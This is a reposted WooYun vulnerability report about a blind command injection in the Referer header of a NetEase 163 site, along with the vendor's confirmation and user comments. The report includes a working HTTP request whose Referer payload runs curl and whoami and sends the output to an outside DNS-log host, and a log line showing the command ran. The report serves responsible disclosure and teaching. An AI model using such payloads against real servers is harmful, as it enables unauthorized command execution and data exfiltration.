网易163某站点存在隐式命令注入

2017年4月16日03:06:03评论416 views字数 201阅读0分40秒阅读模式

摘要

2016-04-03：细节已通知厂商并且等待厂商处理中
2016-04-07：厂商已经确认，细节仅向厂商公开
2016-04-17：细节向核心白帽子及相关领域专家公开
2016-04-27：细节向普通白帽子公开
2016-05-07：细节向实习白帽子公开
2016-05-22：细节向公众公开

漏洞概要关注数(175) 关注此漏洞

缺陷编号： WooYun-2016-192038

漏洞标题：网易163某站点存在隐式命令注入

漏洞作者： lijiejie

提交时间： 2016-04-03 11:19

公开时间： 2016-05-22 13:40

漏洞类型：命令执行

危害等级：高

自评Rank： 14

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

27人收藏

漏洞详情

披露状态：

简要描述：

网易163某站点存在隐式命令注入，可远程执行任意Linux命令

详细说明：

存在命令注入的是paopao.163.com的Referer，怀疑是某个日志分析服务的问题：

code 区域

GET /search/sycProduct HTTP/1.1
 Referer: $(curl http://paopao3.xxxx.dnslog.info/?whoami=`whoami`)
 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
 Host: www.paopao.163.com
 Accept-Encoding: gzip,deflate
 Accept: */*

上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行，而是每天凌晨大约0点到2点钟被执行到。

漏洞证明：

如上图所示，实际上paopao3和163这个子域名都被成功打回了。

whoami命令也被成功执行了，当前用户是appops：

code 区域

[03/Apr/2016:00:57:22 +0800] 223.252.218.194 - - paopao3.xxxx.dnslog.info GET /?whoami=appops HTTP/1.1 200 "curl/7.26.0" "-"

修复方案：

过滤，比如去掉$(和`符号

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-07 13:37

厂商回复：

漏洞已修复，感谢您对网易的支持。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-03 11:21 | Aasron ( 普通白帽子 | Rank:905 漏洞数:162 | raw_input("你知道我要输入什么？"))

1

666

1# 回复此人
2016-04-03 11:26 | Exploit DB ( 普通白帽子 | Rank:699 漏洞数:65 | 水能载舟，亦可覆舟。)

2

李姐姐能不能告诉我什么叫隐式命令注入新姿势想学习下...

2# 回复此人
2016-04-03 11:34 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:24 )

1

马克，坐等公开

3# 回复此人
2016-04-03 11:50 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:15 | Talk is cheap,show me the shell.)

1

无回显

4# 回复此人
2016-04-03 12:40 | ArcticWolf ( 普通白帽子 | Rank:112 漏洞数:6 | 呃···是AW！不是AV！)

1

mark

5# 回复此人
2016-04-03 13:56 | ucifer ( 普通白帽子 | Rank:231 漏洞数:56 | 萌萌哒~)

1

命令盲注

6# 回复此人
2016-04-03 14:18 | xsser ( 普通白帽子 | Rank:297 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

1

日了狗

7# 回复此人
2016-04-03 14:33 | 冷白开。 ( 普通白帽子 | Rank:269 漏洞数:102 | “想人想的厉害的时候，也是淡淡的。 ...)

1

啥叫隐式命令注入，求科普

8# 回复此人
2016-04-03 16:02 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

1

...漏洞大把

9# 回复此人
2016-04-03 16:21 | scanf ( 核心白帽子 | Rank:1694 漏洞数:204 | 。)

1

不回显吗？

10# 回复此人
2016-04-03 16:30 | Code Life ( 普通白帽子 | Rank:202 漏洞数:15 | Code Life,Join It!)

1

感觉又有52G的库

11# 回复此人
2016-04-03 17:34 | 大师兄 ( 实习白帽子 | 还没有发布任何漏洞 | 每日必关注乌云)

1

看标题就觉得很屌！

12# 回复此人
2016-04-04 11:38 | Can ( 普通白帽子 | Rank:116 漏洞数:35 | 安全培训联系QQ23319509)

1

@xsser 大哥能去审核一下我的漏洞吗？乌云就这个效率吗

13# 回复此人
2016-04-04 12:17 | Exploit DB ( 普通白帽子 | Rank:699 漏洞数:65 | 水能载舟，亦可覆舟。)

1

@Can 首先你的漏洞必须是高危害之前川神在群里说过一句话渣渣漏洞就不要催审核了

14# 回复此人
2016-04-04 12:41 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:15 | Talk is cheap,show me the shell.)

1

@Can 急啥…

15# 回复此人
2016-04-04 14:01 | Code Life ( 普通白帽子 | Rank:202 漏洞数:15 | Code Life,Join It!)

1

不急不急春节那一天虽然漏洞冻结了但我的一个漏洞还是在半个小时后审核通过但有一次一个政府网站的sql审核了一个月 @Can

16# 回复此人
2016-04-04 17:17 | YangCL ( 路人 | Rank:13 漏洞数:5 | 最温馨的游戏社区)

1

@Exploit DB MySQL隐形的类型

17# 回复此人
2016-04-04 17:39 | Aasron ( 普通白帽子 | Rank:905 漏洞数:162 | raw_input("你知道我要输入什么？"))

1

估计是 Http响应一类的 http request

18# 回复此人
2016-04-05 09:13 | 追寻 ( 普通白帽子 | Rank:210 漏洞数:28 | 学习新姿势中)

1

mark

19# 回复此人
2016-04-07 15:37 | sauce ( 普通白帽子 | Rank:285 漏洞数:28 | 面向人民币编程)

1

20# 回复此人
2016-04-07 16:01 | sysALong ( 普通白帽子 | Rank:464 漏洞数:31 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

2

哥哥我只要一回复，上面的一群人还有关注的人都会收到提示信息！！！

21# 回复此人
2016-04-17 11:15 | 蓝冰 ( 普通白帽子 | Rank:725 漏洞数:61 | -.-)

1

为何受伤的总是网易。

22# 回复此人
2016-05-22 13:57 | YiYang ( 实习白帽子 | Rank:57 漏洞数:19 | 一锹、两锹、三锹。。。)

0

是什么原理啊怎么发现呢

23# 回复此人
2016-05-22 16:26 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:18 | 专业承揽工程刮大白，外墙涂料，外墙保温，...)

0

2016-03-25的还没审，你急什么急？@Can

24# 回复此人
2016-05-23 15:39 | Budi ( 普通白帽子 | Rank:213 漏洞数:41 | 希望能成为一个合格的白帽子，不断完善自己...)

0

发表评论都是大牛啊，RANK都几百了。。。

25# 回复此人
2016-05-26 00:53 | 夏殇 ( 实习白帽子 | Rank:44 漏洞数:26 | 不忘初心，方得始终。)

0

怎么想到referer会有命令执行的呢，好奇

26# 回复此人

漏洞概要 关注数(175) 关注此漏洞

缺陷编号： WooYun-2016-192038

漏洞标题： 网易163某站点存在隐式命令注入

相关厂商： 网易